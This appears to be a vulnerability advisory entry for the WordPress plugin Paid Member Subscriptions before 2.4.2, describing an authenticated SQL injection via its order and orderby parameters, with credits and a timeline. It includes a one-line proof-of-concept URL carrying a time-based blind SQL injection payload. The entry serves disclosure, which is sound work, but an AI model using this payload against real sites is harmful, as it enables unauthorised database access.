WordPress Plugin Vulnerabilities

Paid Member Subscriptions < 2.4.2 - Authenticated SQL Injection

Description

The plugin did not sanitise, validate or escape its order and orderby parameters before using them in SQL statement, leading to Authenticated SQL Injections in the Members and Payments pages.

Proof of Concept

http://www.example.com/wp-admin/admin.php?page=pms-members-page&orderby=user_id&order=asc,(select * from (select(sleep(10)))a)

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Martin Vierula of Trustwave
Verified
Yes

Timeline

Publicly Published
2021-08-06 (about 2 years ago)
Added
2021-07-26 (about 2 years ago)
Last Updated
2023-02-02 (about 1 years ago)

Other